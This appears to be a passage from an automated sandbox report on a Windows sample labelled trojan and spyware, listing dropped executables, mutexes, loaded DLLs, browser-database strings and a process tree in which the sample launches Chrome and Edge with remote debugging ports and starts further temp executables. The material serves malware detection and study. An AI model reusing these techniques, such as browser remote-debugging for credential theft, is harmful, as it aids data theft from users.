Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_001A779B	22_2_001A779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_0016E530	23_2_0016E530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_00186192	23_2_00186192
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_001A8860	23_2_001A8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_00164B30	23_2_00164B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_001A2D10	23_2_001A2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_00164DE0	23_2_00164DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_00180E13	23_2_00180E13
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_001A7049	23_2_001A7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_001A31A8	23_2_001A31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_00181602	23_2_00181602
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_001A779B	23_2_001A779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_001A78BB	23_2_001A78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_00183DF1	23_2_00183DF1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_00197F36	23_2_00197F36

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C87DAE0 appears 47 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C87D930 appears 38 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C6894D0 appears 90 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C719B10 appears 42 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C67CBE8 appears 134 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C713620 appears 52 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C8709D0 appears 201 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0017DF80 appears 64 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00198E10 appears 35 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 001780C0 appears 263 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0017D64E appears 66 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00177A00 appears 38 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0017D663 appears 39 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0017D942 appears 85 times
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	Code function: String function: 008580C0 appears 130 times

Source: file.exe, 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2581050850.000000006C6D2000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: juusqcgn ZLIB complexity 0.9949216411628256
Source: random[1].exe.0.dr	Static PE information: Section: juusqcgn ZLIB complexity 0.9949216411628256

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@77/289@33/18

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6A7030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6C6A7030

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\EAPA0I9F.htm

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1684:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

File created: C:\Users\user\AppData\Local\Temp\4764d088-b841-457e-b1e8-cac206941ac7.tmp

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2580501541.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2567638542.000000001D144000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2580501541.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2567638542.000000001D144000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2580501541.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2567638542.000000001D144000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2580501541.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2567638542.000000001D144000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, file.exe, 00000000.00000002.2580501541.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2567638542.000000001D144000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2580501541.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2567638542.000000001D144000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.2580501541.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2567638542.000000001D144000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.2316581563.000000001D039000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2239887553.000000001D045000.00000004.00000020.00020000.00000000.sdmp, GHJDBAKEHDHDGCAKKJJE.0.dr, EHCBAAAFHJDHJJKEBGHI.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2580501541.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2567638542.000000001D144000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2580501541.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2567638542.000000001D144000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

Virustotal: Detection: 51%

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2540 --field-trial-handle=2480,i,12669535664876434942,9463197344397114714,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2248 --field-trial-handle=2112,i,15661409552434283723,8671285796704867672,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2768 --field-trial-handle=2248,i,16075850456477314035,13090639209018372966,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6760 --field-trial-handle=2248,i,16075850456477314035,13090639209018372966,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7196 --field-trial-handle=2248,i,16075850456477314035,13090639209018372966,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsHCFBFBAEBK.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsHCFBFBAEBK.exe "C:\Users\user\DocumentsHCFBFBAEBK.exe"
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe "C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7324 --field-trial-handle=2248,i,16075850456477314035,13090639209018372966,262144 /prefetch:8
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe "C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe "C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe "C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe "C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe "C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsHCFBFBAEBK.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2540 --field-trial-handle=2480,i,12669535664876434942,9463197344397114714,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2248 --field-trial-handle=2112,i,15661409552434283723,8671285796704867672,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2768 --field-trial-handle=2248,i,16075850456477314035,13090639209018372966,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6760 --field-trial-handle=2248,i,16075850456477314035,13090639209018372966,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7196 --field-trial-handle=2248,i,16075850456477314035,13090639209018372966,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7324 --field-trial-handle=2248,i,16075850456477314035,13090639209018372966,262144 /prefetch:8	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsHCFBFBAEBK.exe "C:\Users\user\DocumentsHCFBFBAEBK.exe"
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe "C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe "C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe"

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	Section loaded: winmm.dll
